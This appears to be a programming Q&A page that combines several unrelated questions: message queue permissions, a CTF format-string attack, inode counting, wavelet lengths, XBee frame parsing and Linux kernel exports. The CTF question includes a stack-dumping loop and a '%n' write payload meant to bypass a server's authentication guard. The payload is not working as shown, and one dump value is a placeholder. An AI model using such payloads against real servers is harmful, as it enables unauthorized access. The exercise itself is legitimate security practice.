When I create message queues and later check the permissions using ipcs -q I get random permissions for the message queues I created.
I really don't understand the reason and it's driving me insane.
I pass the ids of the message queues at the children by writing them in an array and passing it using execve. Below is the array.
char *shipArgs[12];
shipArgs[0] = "nave";
shipArgs[1] = "-1";
shipArgs[2] = sSO_LATO;
shipArgs[3] = sidMesQPur;
shipArgs[4] = sidMesQInfo;
shipArgs[5] = sSO_DAYS;
shipArgs[6] = sidShmArrayItems;
shipArgs[7] = sidShmArrayHarb;
shipArgs[8] = sidShmArrayShips;
shipArgs[9] = sSO_SPEED;
shipArgs[10] = sSO_CAPACITY;
shipArgs[11] = NULL;
I read the array this way in the child process:
id = atoi(argv[1]);
idMesQPur = atoi(argv[3]);
idMesQInfo = atoi(argv[4]);
SO_DAYS = atol(argv[5]);
idShmArrayItems = atoi(argv[6]);
idShmArrayHarb = atoi(argv[7]);
idShmArrayShips = atoi(argv[8]);
SO_SPEED = atoi(argv[9]);
SO_CAPACITY = atoi(argv[10]);
I create the message queues in this way:
idMesQPur = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
When lauched I got the errors "Permission denied" while trying to access the message queues. When checking the message queue's permission using ipcs -q I get a random value; for example I got this result:
0x00000000 63 32564 464 0 0
0x00000000 64 32564 464 0 0
0x00000000 65 32564 464 0 0
but the after adding some spaces and building everything again the program worked and the message queues had these values:
0x00000000 66 32762 772 0 0
0x00000000 67 32762 772 0 0
0x00000000 68 32762 772 0 0
Everytime I launch the program it's random if it will work or give those errors.
Related
[As part of a ctf] I am trying to exploit a remote server through a tcp connection. The server is using snprintf() and provides user input as the formatting string. My goal is to dump the stack. Determine the address on the stack of a variable that is used as a guard and modify it in order to bypass the authentication. My problem is, that for whatever reason the %n format specifier does not seem to write anything to the stack address provided as an argument.
Here is what I did to get a stack dump from the server (Linux, 32bit, ASLR, canaries etc activated. Crashing the server re-randomizes the address space):
for i in {000..181}; do echo -n "offset $i (%$i\$08x) = ";
./client 51079 "%$i\$08x"
| python -c "import sys, struct; s = int(sys.stdin.read(),16); print '0x%08x: %s' % (s, repr(struct.pack('I',s)))"; done
where client is the binary contacting the server through tcp.
Here is the vulnerable line of code on the server:
// ibuff read from the socket, of size BUFFLEN = 512, obuff out of size BUFFLEN
char[] hint2 = "this looks like part of the stack of function process_cmds !!!";
snprintf(obuff, BUFFLEN, ibuff, hint2);
Here is the stack dump (interesting parts) I obtain:
offset 001 (%001$08x) = 0xffa70ee1: '\xe1\x0e\xa7\xff' // ADDRESS OF HINT ON THE STACK
offset 002 (%002$08x) = 0x30302500: '\x00%00'
offset 003 (%003$08x) = 0x38302433: '3$08' // MY FORMAT STRING AT OFFSET 3
offset 004 (%004$08x) = 0x00000078: 'x\x00\x00\x00'
offset 005 (%005$08x) = 0x00000000: '\x00\x00\x00\x00'
// ... MORE NULL BYTES HERE!
offset 129 (%129$08x) = 0x00000000: '\x00\x00\x00\x00'
offset 130 (%130$08x) = 0x69687400: '\x00thi' // HINT IS AT OFFSET 131
offset 131 (%131$08x) = 0x6f6c2073: 's lo'
offset 132 (%132$08x) = 0x20736b6f: 'oks '
offset 133 (%133$08x) = 0x656b696c: 'like'
offset 134 (%134$08x) = 0x72617020: ' par'
offset 135 (%135$08x) = 0x666f2074: 't of'
offset 136 (%136$08x) = 0x65687420: ' the'
offset 137 (%137$08x) = 0x61747320: ' sta'
offset 138 (%138$08x) = 0x6f206b63: 'ck o'
offset 139 (%139$08x) = 0x75662066: 'f fu'
offset 140 (%140$08x) = 0x6974636e: 'ncti'
offset 141 (%141$08x) = 0x70206e6f: 'on p'
offset 142 (%142$08x) = 0x65636f72: 'roce'
offset 143 (%143$08x) = 0x635f7373: 'ss_c'
offset 144 (%144$08x) = 0x2073646d: 'mds '
offset 145 (%145$08x) = 0x00212121: '!!!\x00'
offset 146 (%146$08x) = 0x00000003: '\x03\x00\x00\x00'
offset 147 (%147$08x) = 0x0804c0e0: '\xe0\xc0\x04\x08'
offset 148 (%148$08x) = 0xf7d79de9: '\xe9\x9d\xd7\xf7'
offset 149 (%149$08x) = 0xffa71050: 'P\x10\xa7\xff'
offset 150 (%150$08x) = 0xf7f0d000: '\x00\xd0\xf0\xf7'
offset 151 (%151$08x) = 0xf7f0d000: '\x00\xd0\xf0\xf7'
offset 152 (%152$08x) = 0xffa70f48: 'H\x0f\xa7\xff'
offset 153 (%153$08x) = 0x08049a18: '\x18\x9a\x04\x08'
offset 154 (%154$08x) = 0x0000000f: '\x0f\x00\x00\x00'
offset 155 (%155$08x) = 0x080494f8: '\xf8\x94\x04\x08'
offset 156 (%156$08x) = 0xffa70fb8: '\xb8\x0f\xa7\xff'
offset 157 (%157$08x) = 0x0804992c: ',\x99\x04\x08'
offset 158 (%158$08x) = 0xffa72e36: '6.\xa7\xff'
offset 159 (%159$08x) = 0xf7f0f720: ' \xf7\xf0\xf7'
offset 160 (%160$08x) = 0x090eb1a0: '\xa0\xb1\x0e\t'
offset 161 (%161$08x) = 0x87c70002: '\x02\x00\xc7\x87'
offset 162 (%162$08x) = 0x00000000: '\x00\x00\x00\x00'
offset 163 (%163$08x) = 0x00000000: '\x00\x00\x00\x00'
offset 164 (%164$08x) = 0x00000000: '\x00\x00\x00\x00'
offset 165 (%165$08x) = 0x68744900: '\x00Ith'
offset 166 (%166$08x) = 0x6c207369: 'is l'
offset 167 (%167$08x) = 0x736b6f6f: 'ooks'
offset 168 (%168$08x) = 0x6b696c20: ' lik'
offset 169 (%169$08x) = 0x61702065: 'e pa'
offset 170 (%170$08x) = 0x6f207472: 'rt o'
offset 171 (%171$08x) = 0x68742066: 'f th'
offset 172 (%172$08x) = 0x74732065: 'e st'
offset 173 (%173$08x) = 0x206b6361: 'ack '
offset 174 (%174$08x) = 0x6620666f: 'of f'
offset 175 (%175$08x) = 0x74636e75: 'unct'
offset 176 (%176$08x) = 0x206e6f69: 'ion '
offset 177 (%177$08x) = 0x5f504455: 'UDP_'
offset 178 (%178$08x) = 0x636f7270: 'proc'
offset 179 (%179$08x) = 0x20737365: 'ess '
offset 180 (%180$08x) = 0x00212121: '!!!\x00'
offset 181 (%181$08x) = 0xplsshelp: '\xlp\xhe\xss\xpl' // VARIABLE I WANT TO OVERWRITE AT OFFSET 181
Notice that to make sure everything works: ./client 50179 "%s" // prints the hint.
I calculate the address on the stack of the value I want to replace =>
addr = 0xffa70ee1 - 8 + (181 - 130) * 32 = 0xffa71539.
I bring the internal stack pointer of the snprintf function inside my string value as follows:
Inupt: "PPPNNNNAAAA|%08x|%08x|%u|%08x|"
Output: PPPNNNNAAAA|ffa70ee1|50505000|1313754702|41414141| // 41414141 == AAAA
Meaning I can put the address I want to write to at the position of the AAAA bytes.
Here is the input I use to write at the address determined before:
Input:"PPP" "1111" "\x49\x15\xa7\xff" "%08x%08x" "%183u%n----"
Where the padding is chosen following the algorithm:
byte_to_write = 0xca
already_written = 19
byte_to_write += 0x100
already_written %= already_written
padding = (byte_to_write - already_written) % 0x100 // = 183
When I dump the stack again though, no matter how many times I try and what parameters I tweak, it is always unmodified. I cannot see where I am going wrong with this. Are the address offsets reasonable? Am I trying to correctly write on the stack? Where am I going wrong?
I'd like to get the number of used inodes for specified volume using function API rather then using the output of df shell command.
I've looked at the man page of getattrlist and found the following attribute, but it may also refer to hard links, but they point to existing inodes, and I don't want to count them more than once.
ATTR_VOL_FILECOUNT A u_int32_t containing the number of files on the volume.
I also tried to run dtruss df and search for the exact sys call which retrieves this value, but I couldn't put my finger on it :
csops(0x872, 0x7, 0x7FFEEE4C8E80) = 0 0
sysctl([CTL_KERN, 14, 1, 2162, 0, 0] (4), 0x7FFEEE4C8FC8, 0x7FFEEE4C8FC0, 0x0, 0x0) = 0 0
csops(0x872, 0x7, 0x7FFEEE4C8770) = 0 0
getfsstat64(0x0, 0x0, 0x2) = 6 0
getfsstat64(0x7FFD41001600, 0x3B48, 0x2) = 6 0
getfsstat64(0x7FFD41001600, 0x3B48, 0x1) = 6 0
getrlimit(0x1008, 0x7FFEEE4C9EC0, 0x0) = 0 0
fstat64(0x1, 0x7FFEEE4C9ED8, 0x0) = 0 0
ioctl(0x1, 0x4004667A, 0x7FFEEE4C9F24) = 0 0
Here's df output (notice the iused field)
Filesystem 512-blocks Used Available Capacity iused ifree %iused Mounted on
/dev/disk1s1 976695384 757288824 211770792 79% 2000778 9223372036852775029 0% /
Any ideas where can I find the source code of df or to other API for this task.
thanks
I think I found the source and it does this:
if (iflag) {
inodes = sfsp->f_files;
used = inodes - sfsp->f_ffree;
(void)printf(" %*llu %*llu %4.0f%% ", mwp->iused, used,
mwp->ifree, sfsp->f_ffree, inodes == 0 ? 100.0 :
(double)used / (double)inodes * 100.0);
where sfsp is a pointer to a struct statfs instance, from statfs() like you'd expect.
I was doing multilevel wavelet decomposition for a signal 'price1' by using
[c1, l] = wavedec(price1, 3, 'db4');
The size of price1 was:
size(price1) =
240 1
And the size of wavelet decomposition obtained i.e length of l is:
l =
36
36
65
123
240
I am a beginner, and I think the size should be:
l =
30
30
60
120
240
I am not able to understand why is the size not half of the signal size? Is this some sort of padding happening internally? And I would want the size to be half like [30; 30; 60; 120; 240]. What can I do to achieve it?
Thanks for your help :)
You are not considering the length of mother wavelet, which will change the length of signal after convolution.
db4 has the length of 8,
a = randi(10,[240 1]);
[c1, l] = wavedec(a, 3, 'db4');
l =
36
36
65
123
240
But for example db8 has the length of 16
[c1, l] = wavedec(a, 3, 'db8');
l =
43
43
71
127
240
You can have access to wavelet functions like this,
[LoD,HiD,LoR,HiR] = wfilters('db8');
I have to IEEE 802.15.4 devices running. The question is about XBee-PRO.
Firmware: XBEE PRO 802.15.4 (Version: 10e6)
Hardware: XBEE (Version: 1744)
Both units are configured to the same channel (15) and same PAN id (0x1234). It's hooked to my machines COM port and can actually transmit data when I connect picocom to it. (It responds to AT commands properly and can be configured fully through moltosenso Network Manager - I'm on a Mac). All other registers are at their defaults, apart from the serial baudrate.
The XBee side source address is at 0x1, destination address is 0x2. Now when I type an ASCII character into picocom, this is what I see received on the other device, running in promiscous mode:
-- Typing "a"
E 61 88 7E 34 12 2 0 1 0 2B 0 61 E1
E 61 88 7E 34 12 2 0 1 0 2B 0 61 E1
E 61 88 7E 34 12 2 0 1 0 2B 0 61 E1
E 61 88 7E 34 12 2 0 1 0 2B 0 61 E1
-- Typing "b"
E 61 88 7F 34 12 2 0 1 0 2C 0 62 58
E 61 88 7F 34 12 2 0 1 0 2C 0 62 58
E 61 88 7F 34 12 2 0 1 0 2C 0 62 58
E 61 88 7F 34 12 2 0 1 0 2C 0 62 58
--- Typing "a" again
E 61 88 80 34 12 2 0 1 0 2D 0 61 A9
E 61 88 80 34 12 2 0 1 0 2D 0 61 A9
...
ln pc pan da sa ct pl ck
So for every data payload sent, I see four frames sent out (nobody is picking them up of course). I suppose three of these are 802.15.4 retries, and XBee adds another one for kicks (although the RR register is clearly zero...).
What's the packet format here and where is this specified?
I've looked at XBee API packets and this does look vaguely similar, but I don't see 0x7e delimiters or anything like that here.
I guess what I am seeing is:
ln = length
61 = ??
88 = ??
pc = some sort of packet counter
pan = 16 bits of PAN ID
da = 16 bits of destination address
sa = 16 bits of source address
ct = another counter?
0 = ??
pl = my ASCII character payload
ck = probably a checksum
I tried with setting PAN to 0xFFFF and setting the destination address to 0xFF or broadcast, seeing pretty much the same. These 0x61 and 0x88 don't seem to correspond to much anything in the XBee documentation...
It doesn't directly look like 802.15.4 MAC level data frame either - or if it does, what are the missing fields and where are they specified? Pointers?
EDIT:
Actually, hmm. After importing a hex-formatted dump into Wireshark, it told me exactly that it's a 802.15.4 MAC frame and how to read it.
IEEE 802.15.4 Data, Dst: 0x0002, Src: 0x0001, Bad FCS
Frame Control Field: Data (0x8861)
.... .... .... .001 = Frame Type: Data (0x0001)
.... .... .... 0... = Security Enabled: False
.... .... ...0 .... = Frame Pending: False
.... .... ..1. .... = Acknowledge Request: True
.... .... .1.. .... = Intra-PAN: True
.... 10.. .... .... = Destination Addressing Mode: Short/16-bit (0x0002)
..00 .... .... .... = Frame Version: 0
10.. .... .... .... = Source Addressing Mode: Short/16-bit (0x0002)
Sequence Number: 126
Destination PAN: 0x1234
Destination: 0x0002
Source: 0x0001
I still don't know where the second 16-bit counter comes from in front of the actual data byte, and why FCS is messed up (I had to strip the beginning len field to get Wireshark to read it - that's probably it.)
I think the second counter ct is a counter for the application layer in Zigbee protocol to notice when it should update its data because it is receiving a new one :)
For more information about Frames Format in Zigbee Stack try to download this :
Newnes.ZigBee.Wireless.Networks.and.Transceivers.Sep.2008.eBook-DDU.pdf
Have a nice day :)
Have you try to read packets with X-CTU software?
I suggest you to read this post entry: http://www.tunnelsup.com/xbee-guide/
The pdf with the "Quick Reference Guide" is really useful and contains some data format indicated.
Also, it's always good to study the real documentation from developer (Digi in this case).
The frame is like:
API Frame
But only if you have configured previously the xbee to work in API mode with command:
ATAP 1
Or with XCTU.
Try monitoring communication between two XBee modules to see what the acknowledgement frame looks like.
Try sending a sequence of bytes.
Try performing a Node Discovery (ATND) to see what those frames look like.
Try sending a remote AT command from X-CTU to see what those frames and responses look like.
When reverse engineering a protocol, it's useful to see both sides of the conversation. You can test various theories by emulating each side of the protocol, and trying out variations on what you see. For example, "What if I change this byte, does the remote end still respond?".
My guess is that you're correct about the ct byte being a counter. The following zero byte could be flags, or it could identify the type of packet sent (serial data, remote AT command/response, node discovery/response, etc.).
As you build up an understanding of the structure, you can write a program to parse and dump the contents of the frames. Dump an interpreted version of what you know, and leave the unknown bytes as a sequence of hex bytes. Continue to experiment until you can narrow down the meaning of the remaining bytes.
The extra 2 bytes in payload (0x2D 0x0) is MaxStream header (MM in XCTU). If you disable the MaxStream headers by setting the MM command to without MaxStream headers, then these two bytes will become a part of a 802.15.4 payload, so your full payload would become 2B 0 61 instead of just 61
dev-audio declares two devices:
struct platform_device s5pv210_device_iis0 = {
63 .name = "samsung-i2s",
64 .id = 0,
65 .num_resources = ARRAY_SIZE(s5pv210_iis0_resource),
66 .resource = s5pv210_iis0_resource,
67 .dev = {
68 .platform_data = &i2sv5_pdata,
69 },
70 };
76 static struct resource s5pv210_iis1_resource[] = {
77 [0] = DEFINE_RES_MEM(S5PV210_PA_IIS1, SZ_256),
78 [1] = DEFINE_RES_DMA(DMACH_I2S1_TX),
79 [2] = DEFINE_RES_DMA(DMACH_I2S1_RX),
80 };
81
82 struct platform_device s5pv210_device_iis1 = {
83 .name = "samsung-i2s",
84 .id = 1,
85 .num_resources = ARRAY_SIZE(s5pv210_iis1_resource),
86 .resource = s5pv210_iis1_resource,
87 .dev = {
88 .platform_data = &i2sv3_pdata,
89 },
90 };
91
92 static struct resource s5pv210_iis2_resource[] = {
93 [0] = DEFINE_RES_MEM(S5PV210_PA_IIS2, SZ_256),
94 [1] = DEFINE_RES_DMA(DMACH_I2S2_TX),
95 [2] = DEFINE_RES_DMA(DMACH_I2S2_RX),
96 };
The two devices are 2 instances of the i2s driver.
Assuming I add a function EXPORT_SYMBOL in i2s driver, which will be used by 2 different kernel modules.
How can I declare and use such an exported function doing the following:
if (called from kernel module 1):
i2s_rxctrl the device id=0
elif (called from kernel module 2):
i2s_rxctrl the device id=1
There is one-to-one mapping of a kernel module to device id.
So basically what I ask is how to make the exported symbol to be Object oriented style so for each instance it will execute code specific to the device. I thought to give the kernel module an handle to *pdev but it seems to be a violation.
I think you can always pass a parameter and value to your kernel module and check it in driver code.
You can create your custom structure with all necessary information to uniquely identify your instance across different modules (why not, also *pdev). Then, you pass this structure to your library. Thanks to your custom structure, the library can do the correct operation.